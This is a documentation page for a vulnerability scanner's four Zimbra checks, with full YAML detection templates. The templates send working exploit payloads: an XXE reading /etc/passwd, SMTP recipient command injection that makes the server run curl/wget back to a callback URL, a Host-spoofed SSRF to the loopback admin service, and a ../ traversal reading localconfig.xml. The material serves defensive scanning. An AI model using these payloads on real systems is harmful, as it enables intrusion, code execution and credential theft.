Zimbra — 4 vulnerability checks
noctis ships 4 vulnerability checks for Zimbra, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Zimbra Collaboration Autodiscover XXE — Unauthenticated Arbitrary File Read
| CVE | CVE-2019-9670 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/zimbra/CVE-2019-9670.yaml |
Posts an Autodiscover request whose AcceptableResponseSchema is an external entity for file:///etc/passwd and reports when the server's "Requested response schema not available" error quotes the file content, while the same request for an absent file (file:///noctis-absent-<random>/etc/passwd) comes back without it.
How noctis detects it
- HTTP(S) request
POST /Autodiscover/Autodiscover.xmlwith a crafted body - Checks
resp.bodyfor(?s)Requested response schema not available.*?root:[^:\r\n]*:0:[01]: - HTTP(S) request
POST /Autodiscover/Autodiscover.xmlwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
xxe_hitfor^yes$→ finding QoD 75: POST /Autodiscover/Autodiscover.xml with an external entity for file:///etc/passwd as AcceptableResponseSchema: the "Requested response sch…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-9670
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9670.yaml
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/zimbra_xxe_rce.rb
- https://github.com/Zimbra/zm-mailbox/blob/develop/store/src/java/com/zimbra/cs/service/AutoDiscoverServlet.java
Feed source — tests/vulnerabilities/zimbra/CVE-2019-9670.yaml
# Zimbra Collaboration Suite Autodiscover XXE -> Arbitrary File Read (CVE-2019-9670)
#
# Synacor Zimbra Collaboration < 8.7.11p10 is vulnerable to XML External Entity
# injection in the Autodiscover servlet. An unauthenticated POST to
# /Autodiscover/Autodiscover.xml carrying a DOCTYPE that declares an external
# SYSTEM entity, referenced from <AcceptableResponseSchema>, makes the servlet
# resolve the entity. The resolved value is not a known schema, so the servlet
# answers sendError(503, "Requested response schema not available " + value):
# Jetty's error page then quotes the referenced file. Actively exploited (CISA KEV).
#
# Sink (zm-mailbox AutoDiscoverServlet.doPost): the parser error path answers
# 400 "Body cannot be parsed" — a missing file on a vulnerable server, or the
# DOCTYPE itself on a fixed one (DISALLOW_DOCTYPE_DECL). Request shape from the
# nuclei template and the Metasploit zimbra_xxe_rce module (both expect 503).
#
# Detection: the passwd content must follow the servlet's own
# "Requested response schema not available" message, and the same request for
# an absent file must come back without it (blanket responders / honeypots).
# Version 1.0.0 matched a mock-only constant and never fired on real Zimbra (#2351).
uid: 0fec19b8-6903-42cc-97b0-c4da1e2f6838
name: "Zimbra Collaboration Autodiscover XXE — Unauthenticated Arbitrary File Read (CVE-2019-9670)"
description: "Posts an Autodiscover request whose AcceptableResponseSchema is an external entity for file:///etc/passwd and reports when the server's \"Requested response schema not available\" error quotes the file content, while the same request for an absent file (file:///noctis-absent-<random>/etc/passwd) comes back without it."
cves: [CVE-2019-9670]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [xxe, file-read, lfi, zimbra, synacor, kev, autodiscover]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-9670"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9670.yaml"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/zimbra_xxe_rce.rb"
- "https://github.com/Zimbra/zm-mailbox/blob/develop/store/src/java/com/zimbra/cs/service/AutoDiscoverServlet.java"
steps:
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {status: 0, body: ""}
- id: init-xxe-hit
action: set_var
var_name: xxe_hit
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
# The entity is the AcceptableResponseSchema value: a vulnerable servlet
# resolves it and quotes it in its 503 "schema not available" error.
- id: xxe-probe
action: http_request
method: POST
path: "/Autodiscover/Autodiscover.xml"
port: "{{port}}"
tls_insecure: true
headers:
Content-Type: "application/xml"
body: |
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&xxe;</AcceptableResponseSchema></Request></Autodiscover>
store_as: resp
# No finding here: raised below once the absent-file control is clean.
- id: file-read-match
action: match
source: resp.body
pattern: "(?s)Requested response schema not available.*?root:[^:\\r\\n]*:0:[01]:"
condition: "resp.status != 0"
on_match:
set_vars:
xxe_hit: "yes"
# ── Control: same request, absent file ──
# The entity points at a random missing directory, still ending in
# etc/passwd, so a server that keys a fake file on that name answers it too.
# A vulnerable Zimbra fails to parse it (400 "Body cannot be parsed").
- id: control
action: http_request
method: POST
path: "/Autodiscover/Autodiscover.xml"
port: "{{port}}"
condition: 'xxe_hit != ""'
tls_insecure: true
timeout_secs: 10
headers:
Content-Type: "application/xml"
body: |
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY><!ENTITY xxe SYSTEM "file:///noctis-absent-{{oob_token}}/etc/passwd">]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&xxe;</AcceptableResponseSchema></Request></Autodiscover>
store_as: ctrl_resp
# Fail closed: the control must have been answered, without passwd content.
- id: control-verdict
action: script
condition: 'xxe_hit != ""'
code: |
ctrl_resp.status != 0 && !ereg("root:[^:\\r\\n]*:0:[01]:", ctrl_resp.body)
store_as: ctrl_clean
- id: report-file-read
action: match
source: xxe_hit
pattern: "^yes$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.62
qod: 75
evidence: "POST /Autodiscover/Autodiscover.xml with an external entity for file:///etc/passwd as AcceptableResponseSchema: the \"Requested response schema not available\" error quoted its content (root:...:0:0:, HTTP {{resp.status}}); the same request for an absent file did not (HTTP {{ctrl_resp.status}}) (CVE-2019-9670)"
stop: trueZimbra Collaboration postjournal SMTP recipient command injection
| CVE | CVE-2024-45519 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | smtp |
| Detection | tcp_dialogue, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/zimbra/CVE-2024-45519.yaml |
Checks a Zimbra Collaboration mail server for the postjournal command injection. When the postjournal service is enabled, the recipient addresses of a journaled message reach a shell, so a quoted recipient containing $() runs a command as the zimbra user without authentication. The test needs out-of-band detection. It opens an SMTP session, sends a short message from the null sender to two recipients at example.com whose quoted local part runs a single HTTP request (curl, then wget) back to the scanner, and reports the server only when that request arrives, which proves that the command ran. Accepting the recipients proves nothing on its own: a fixed server accepts them too. Without out-of-band detection the test reports nothing. The server must accept relaying from the scanner, as the exploit requires; otherwise it refuses the recipients and is not reported. The only data left on the target is the short test message, which bounces at once.
How noctis detects it
- TCP dialogue:
EHLO noctis.test,MAIL FROM:<>,RCPT TO:<"noctis$(curl${IFS}-sm5${IFS}{…,RCPT TO:<"noctis$(wget${IFS}-qT5${IFS}-…(+3 more) - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: SMTP recipient with $() in its quoted local part ran a command that called back (… /…); dialogue: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-45519
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
- https://projectdiscovery.io/blog/zimbra-remote-code-execution
- https://github.com/Chocapikk/CVE-2024-45519
Feed source — tests/vulnerabilities/zimbra/CVE-2024-45519.yaml
# Zimbra Collaboration postjournal shell injection (CVE-2024-45519)
#
# When the optional postjournal service is enabled (postjournal_enabled=true),
# Zimbra's postjournal binary expands every envelope recipient of a journaled
# message through read_maps(), which builds a command line around the raw
# address and runs it with popen(). A quoted local part such as
# <"aabbb$(cmd)"@example.com>
# therefore runs cmd as the zimbra user. The fix (8.8.15 P46, 9.0.0 P41,
# 10.0.9, 10.1.1) runs the lookup through execvp() and rejects shell
# metacharacters (is_safe_input()).
#
# The command runs when postjournal processes the MESSAGE, i.e. after DATA, not
# at RCPT time, and over port 25 Postfix hands the message to postjournal
# asynchronously after answering "250 queued". Neither the RCPT reply nor the
# end-of-DATA reply says anything about the shell, and a patched postjournal
# still accepts the recipient, so no in-band reply is a proof. The feed only
# reports the out-of-band callback the injected command makes (QoD 97). Without
# --oob it never reports anything (blind vulnerability, no version over SMTP).
#
# Payload: two recipients, one per HTTP client (curl, then wget), each making a
# single GET to {{oob_url}}; ${IFS} instead of spaces, no double quote inside
# the quoted local part. The recipient domain is example.com (RFC 2606, null
# MX): if Postfix relays the message it bounces at once, and the null sender
# (MAIL FROM:<>) means no bounce is sent back. Remote exploitation needs the
# scanner to be allowed to relay (mynetworks), exactly as the public exploit:
# scanned from outside, a default Zimbra answers 554 relay denied and is
# missed (a local-domain recipient would fail too: 550 User unknown). The
# callback is only awaited when DATA was accepted (354), so the 30 s wait is
# not spent on servers that refused the recipients.
#
# Bug #2424: the previous version reported QoD 75 RCE on a "250 message
# delivered" reply to RCPT TO (only the mock sent it; it proves acceptance,
# not execution) and quit before DATA, so the command could never run.
uid: 3f8e2a5b-9c1d-4e68-a2f4-7b0d8c6b3e9f
name: "Zimbra Collaboration postjournal SMTP recipient command injection (CVE-2024-45519)"
description: |
Checks a Zimbra Collaboration mail server for the postjournal command
injection. When the postjournal service is enabled, the recipient addresses
of a journaled message reach a shell, so a quoted recipient containing $()
runs a command as the zimbra user without authentication.
The test needs out-of-band detection. It opens an SMTP session, sends a
short message from the null sender to two recipients at example.com whose
quoted local part runs a single HTTP request (curl, then wget) back to the
scanner, and reports the server only when that request arrives, which proves
that the command ran. Accepting the recipients proves nothing on its own: a
fixed server accepts them too. Without out-of-band detection the test reports
nothing. The server must accept relaying from the scanner, as the exploit
requires; otherwise it refuses the recipients and is not reported. The only
data left on the target is the short test message, which bounces at once.
cves: [CVE-2024-45519]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [zimbra, postjournal, smtp, rce, command-injection, intrusive, oob, kev]
services: [smtp]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-45519"
- "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
- "https://projectdiscovery.io/blog/zimbra-remote-code-execution"
- "https://github.com/Chocapikk/CVE-2024-45519"
steps:
- id: smtp-inject
action: tcp_dialogue
condition: "oob_enabled"
port: "{{port}}"
read_banner: true
timeout_secs: 10
commands:
- "EHLO noctis.test"
- "MAIL FROM:<>"
- "RCPT TO:<\"noctis$(curl${IFS}-sm5${IFS}{{oob_url}})\"@example.com>"
- "RCPT TO:<\"noctis$(wget${IFS}-qT5${IFS}-O-${IFS}{{oob_url}})\"@example.com>"
- "DATA"
- "Subject: noctis scan\r\n\r\nnoctis\r\n."
- "QUIT"
store_as: smtp
# Postfix queues the message and passes it to postjournal a few seconds
# later, so the callback can follow the session by several seconds.
- id: wait-callback
action: wait_oob
oob_timeout_secs: 30
store_as: oob_result
condition: "oob_enabled && type_of(smtp) == \"map\" && smtp.connected == true && type_of(smtp.banner) == \"string\" && smtp.banner.starts_with(\"220\") && type_of(smtp.responses) == \"array\" && smtp.responses.len() > 4 && smtp.responses[4].starts_with(\"354\")"
on_success:
finding:
confidence_delta: 0.65 # 0.30 + 0.65 = 0.95
qod: 97
evidence: "SMTP recipient with $() in its quoted local part ran a command that called back ({{oob_result.method}} /{{oob_token}}); dialogue: {{smtp.transcript}}"Zimbra Collaboration ProxyServlet SSRF to the loopback admin service
| CVE | CVE-2019-9621 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | ssrf — SSRF |
| Services | http, https |
| Detection | set_var, http_request, script, tcp_connect, match · highest QoD 75 · needs scan credentials |
| Feed | tests/vulnerabilities/zimbra/CVE-2019-9621.yaml |
Authenticated feed: logs in with the supplied mailbox account (SOAP AuthRequest), then asks /service/proxy, with a Host header on the admin port 7071 and the user token in the ZM_ADMIN_AUTH_TOKEN cookie, to forward an admin NoOpRequest to https://127.0.0.1:7071/service/admin/soap. Reports when the loopback admin SOAP service's fault comes back through the proxy, while the same request without the admin-port Host header is refused. A fixed server rejects the non-admin token (401) and sends nothing.
How noctis detects it
- HTTP(S) request
POST /service/soapwith a crafted body - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.0 - Checks
spoof.bannerfor<Code>service\.[A-Z_]+</Code> - Raw TCP (TLS on HTTPS), sent verbatim:
POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
ssrf_hitfor^yes$→ finding QoD 75: POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap with Host: <target>:7071 and a non-admin user token in ZM_ADMIN_AUTH_T…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-9621
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/zimbra_xxe_rce.rb
- https://github.com/Zimbra/zm-mailbox/blob/develop/store/src/java/com/zimbra/cs/zimlet/ProxyServlet.java
Feed source — tests/vulnerabilities/zimbra/CVE-2019-9621.yaml
# Zimbra Collaboration ProxyServlet SSRF (CVE-2019-9621)
#
# Zimbra Collaboration before 8.6.0 Patch 13, 8.7.11 Patch 10, 8.8.10 Patch 7 /
# 8.8.11 Patch 3 allows SSRF through the ProxyServlet (/service/proxy?target=).
# ProxyServlet.isAdminRequest() is `req.getServerPort() == zimbra_admin_service_port`,
# and getServerPort() comes from the Host header: a request sent to the user port
# with `Host: <host>:7071` is treated as an admin request, which skips
# checkPermissionOnTarget() (no loopback / private-host / allowed-domain check).
# Vulnerable builds accept ANY valid auth token in the ZM_ADMIN_AUTH_TOKEN cookie
# there; the fix adds `if (isAdmin && !authToken.isAdmin()) -> 401 "permission
# denied"`. Exploited in the wild as the second half of the CVE-2019-9670 chain
# (CISA KEV): the attacker proxies a SOAP request to the loopback admin service.
#
# Detection (authenticated, needs any mailbox account):
# 1. AuthRequest on /service/soap -> mail-side (non-admin) authToken.
# 2. Host spoofed to :7071 + ZM_ADMIN_AUTH_TOKEN=<token>, target
# https://127.0.0.1:7071/service/admin/soap, body = an admin NoOpRequest.
# Vulnerable: the loopback admin SoapServlet answers, its SOAP fault
# (<Code>service.AUTH_REQUIRED</Code>) comes back through the proxy.
# Fixed: 401 "permission denied" before any outbound request.
# 3. Control: the same proxy request without the Host spoof (user mode) must
# NOT come back with that fault (checkPermissionOnTarget: with the default
# empty zimbraProxyAllowedDomains -> 403), so a server that answers SOAP
# faults everywhere is not reported.
# The NoOpRequest without an admin token changes nothing on the target.
#
# Version 1.x of this feed (uid kept) tested the Autodiscover XXE, which is
# CVE-2019-9670 and has its own feed (zimbra/CVE-2019-9670.yaml) — #2509.
#
# Limits (all misses, never false positives): credentials are placed verbatim
# in the AuthRequest XML (a password containing '<' or '&' fails the login);
# an account with two-factor auth gets no authToken; a COS whose
# zimbraProxyAllowedDomains is '*' lets the user-mode control through too
# (vulnerable 8.8.x only checks that list, the private-IP check came later);
# scanning port 7071 itself puts the control in admin mode as well. The proxy request is raw
# HTTP/1.0 (tcp_connect) so the Host header is sent exactly as written.
uid: e74d9710-62c1-4f5c-8e9e-eade40e1aaac
name: "Zimbra Collaboration ProxyServlet SSRF to the loopback admin service (CVE-2019-9621)"
description: "Authenticated feed: logs in with the supplied mailbox account (SOAP AuthRequest), then asks /service/proxy, with a Host header on the admin port 7071 and the user token in the ZM_ADMIN_AUTH_TOKEN cookie, to forward an admin NoOpRequest to https://127.0.0.1:7071/service/admin/soap. Reports when the loopback admin SOAP service's fault comes back through the proxy, while the same request without the admin-port Host header is refused. A fixed server rejects the non-admin token (401) and sends nothing."
cves: [CVE-2019-9621]
cvss: 7.5
severity: high
category: ssrf
confidence_base: 0.30
tags: [ssrf, zimbra, synacor, kev, authenticated, proxyservlet]
services: [http, https]
author: noctis
version: "2.0.0"
requires_credentials: true
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-9621"
- "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/zimbra_xxe_rce.rb"
- "https://github.com/Zimbra/zm-mailbox/blob/develop/store/src/java/com/zimbra/cs/zimlet/ProxyServlet.java"
steps:
- id: init-token
action: set_var
var_name: auth_token
var_value: ""
- id: init-spoof
action: set_var
var_name: spoof
var_value: {connected: false, banner: ""}
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: {connected: false, banner: ""}
- id: init-hit
action: set_var
var_name: ssrf_hit
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
# ── 1. Mail-side login: any account gives a non-admin token ──
- id: login
action: http_request
method: POST
path: "/service/soap"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/soap+xml"
body: '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"/></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="name">{{cred_username}}</account><password>{{cred_password}}</password></AuthRequest></soap:Body></soap:Envelope>'
store_as: login
- id: extract-token
action: script
condition: "login.status == 200"
code: |
let m = eregmatch("<authToken>([^<]+)</authToken>", login.body);
if m.len() > 1 { m[1] } else { "" }
store_as: auth_token
# ── 2. Admin-port Host spoof: proxy an admin NoOpRequest to loopback 7071 ──
- id: ssrf-probe
action: tcp_connect
port: "{{port}}"
condition: 'auth_token != ""'
timeout_secs: 20
send: "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.0\r\nHost: {{target_host}}:7071\r\nCookie: ZM_ADMIN_AUTH_TOKEN={{auth_token}}\r\nContent-Type: application/soap+xml\r\nContent-Length: 145\r\nConnection: close\r\n\r\n<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Body><NoOpRequest xmlns=\"urn:zimbraAdmin\"/></soap:Body></soap:Envelope>"
store_as: spoof
# The admin SoapServlet's own fault code, never in our request. No finding
# here: raised below once the user-mode control is clean.
- id: ssrf-match
action: match
source: spoof.banner
pattern: "<Code>service\\.[A-Z_]+</Code>"
condition: 'auth_token != "" && spoof.connected == true && type_of(spoof.banner) == "string"'
on_match:
set_vars:
ssrf_hit: "yes"
# ── 3. Control: same request, user mode (real Host port) ──
# checkPermissionOnTarget() refuses the loopback target (default empty
# allowed-domains list) -> 403, on vulnerable and fixed servers alike.
- id: control
action: tcp_connect
port: "{{port}}"
condition: 'ssrf_hit != ""'
timeout_secs: 20
send: "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.0\r\nHost: {{target_host}}:{{port}}\r\nCookie: ZM_AUTH_TOKEN={{auth_token}}\r\nContent-Type: application/soap+xml\r\nContent-Length: 145\r\nConnection: close\r\n\r\n<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Body><NoOpRequest xmlns=\"urn:zimbraAdmin\"/></soap:Body></soap:Envelope>"
store_as: ctrl
# Fail closed: the control must have been answered, without the fault.
- id: control-verdict
action: script
condition: 'ssrf_hit != ""'
code: |
ctrl.connected == true && type_of(ctrl.banner) == "string" && ctrl.banner != "" && !ereg("<Code>service\\.[A-Z_]+</Code>", ctrl.banner)
store_as: ctrl_clean
- id: report-ssrf
action: match
source: ssrf_hit
pattern: "^yes$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.62
qod: 75
evidence: "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap with Host: <target>:7071 and a non-admin user token in ZM_ADMIN_AUTH_TOKEN returned the loopback admin SOAP service's fault through the proxy; the same request without the admin-port Host header did not (CVE-2019-9621)"
stop: trueZimbra Collaboration Suite /res/ skin Parameter Local File Inclusion
| CVE | CVE-2013-7091 |
|---|---|
| Severity | medium · CVSS 5.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/zimbra/CVE-2013-7091.yaml |
Requests /etc/passwd (and, as a fallback, localconfig.xml) through the /res/ skin parameter ../ traversal and reports when the root entry or the config keys come back, the unauthenticated file read.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js?v=0912141754… - Checks
pw_resp.bannerfor(?m)(?:^|[;\s])a(?:\.root|\["root"\])\s*=\s*"[^:"\r\n]{0,256}:0:0:([^… - Parses / computes the next value with a Rhai script
- Checks
pw_prooffor^root:<redacted>:0:0:→ finding QoD 75: Zimbra /res/ skin traversal returned /etc/passwd (root entry: …) — arbitrary file read confirmed (CVE-2013-7091) - Raw TCP (TLS on HTTPS), sent verbatim:
GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js?v=0912141754… - Checks
lc_resp.bannerforzimbra_ldap_password - Checks
lc_resp.bannerformysql_root_password - Parses / computes the next value with a Rhai script
- Checks
lc_prooffor^localconfig\.xml disclosed→ finding QoD 75: Zimbra /res/ skin traversal returned /opt/zimbra/conf/localconfig.xml (…) — arbitrary file read confirmed (CVE-2013-7091)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-7091
- https://www.exploit-db.com/exploits/30085
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2013/CVE-2013-7091.yaml
Feed source — tests/vulnerabilities/zimbra/CVE-2013-7091.yaml
# Zimbra Collaboration Suite /res/ skin-parameter LFI (CVE-2013-7091)
#
# Zimbra Collaboration Suite 2009-2013 (< 7.2.6 / 8.0.x < 8.0.6): the /res/
# servlet (kabuki Props2JsServlet) builds the path of the skin properties file it
# loads from the unvalidated `skin` query parameter. `../` sequences walk out of
# the skins directory and a trailing `%00` truncates the appended suffix (the
# bundled Java runtimes of those releases did not reject NUL in file names), so
# any file the zimbra user can read is parsed as a java.util.Properties file and
# returned as JavaScript: each line `k<sep>v` comes back as `a.k="v";` (or
# `a["k"]="v";` when k is not an identifier). Unauthenticated.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_zimbra_lfi_12_13.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103853, GPL-2.0-only).
#
# Detection (real exploitation, benign proof):
# 1. read /etc/passwd through the traversal and match root's entry as the
# servlet renders it (a.root="x:0:0:...") — a world-readable, non-secret file;
# 2. only if that fails (e.g. a WAF filtering "etc/passwd"), replay the NASL's
# read of /opt/zimbra/conf/localconfig.xml and require both
# `zimbra_ldap_password` and `mysql_root_password`, as the NASL does.
# Deviation from the NASL URL: `.js` instead of `.js.zgz`. The servlet gzips any
# `.zgz` resource whatever the Accept-Encoding, and noctis does not inflate gzip,
# so the compressed variant could never match here; `.js` is the same servlet,
# uncompressed (Zimbra's debug loader requests it).
# Improvements over the NASL: the primary proof reads a non-secret file instead
# of the LDAP/MySQL credential store, and no secret reaches the finding (root's
# password field is replaced by <redacted>, localconfig values are never copied).
uid: 36c99660-cacf-4129-a45b-4b22a1ebe2bb
name: "Zimbra Collaboration Suite /res/ skin Parameter Local File Inclusion (CVE-2013-7091)"
description: "Requests /etc/passwd (and, as a fallback, localconfig.xml) through the /res/ skin parameter ../ traversal and reports when the root entry or the config keys come back, the unauthenticated file read."
cves: [CVE-2013-7091]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.35
tags: [zimbra, lfi, file-read, path-traversal, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-7091"
- "https://www.exploit-db.com/exploits/30085"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2013/CVE-2013-7091.yaml"
steps:
# ── 1. Benign proof: /etc/passwd ─────────────────────────────────────────
# Raw HTTP/1.0: reqwest would rewrite the %00 / ../ payload.
- id: passwd-read
action: tcp_connect
port: "{{port}}"
send: "GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js?v=091214175450&skin=../../../../../../../../../etc/passwd%00 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0 (noctis)\r\nAccept: */*\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: pw_resp
# No on_match: a match step copies its whole source into the finding, and
# root's password field may hold a crypt hash. Keep only gecos:home:shell.
- id: passwd-scan
action: match
source: pw_resp.banner
pattern: "(?m)(?:^|[;\\s])a(?:\\.root|\\[\"root\"\\])\\s*=\\s*\"[^:\"\\r\\n]{0,256}:0:0:([^\"\\r\\n\\\\]{0,256})\""
store_as: pw
- id: passwd-proof
action: script
condition: "pw.matched"
code: |
"root:<redacted>:0:0:" + pw.captures[0]
store_as: pw_proof
- id: passwd-report
action: match
condition: "pw.matched"
source: pw_proof
pattern: "^root:<redacted>:0:0:"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Zimbra /res/ skin traversal returned /etc/passwd (root entry: {{pw_proof}}) — arbitrary file read confirmed (CVE-2013-7091)"
stop: true
# ── 2. Fallback: the NASL's exact localconfig.xml read ───────────────────
- id: localconfig-read
action: tcp_connect
condition: "!pw.matched"
port: "{{port}}"
send: "GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0 (noctis)\r\nAccept: */*\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: lc_resp
# Key names only — the values (LDAP / MySQL passwords) are never captured.
- id: localconfig-ldap-key
action: match
condition: "!pw.matched"
source: lc_resp.banner
pattern: "zimbra_ldap_password"
store_as: lc_ldap
- id: localconfig-mysql-key
action: match
condition: "!pw.matched"
source: lc_resp.banner
pattern: "mysql_root_password"
store_as: lc_mysql
- id: localconfig-proof
action: script
condition: "!pw.matched && lc_ldap.matched && lc_mysql.matched"
code: |
"localconfig.xml disclosed: keys zimbra_ldap_password, mysql_root_password (values withheld)"
store_as: lc_proof
- id: localconfig-report
action: match
condition: "!pw.matched && lc_ldap.matched && lc_mysql.matched"
source: lc_proof
pattern: "^localconfig\\.xml disclosed"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "Zimbra /res/ skin traversal returned /opt/zimbra/conf/localconfig.xml ({{lc_proof}}) — arbitrary file read confirmed (CVE-2013-7091)"
stop: true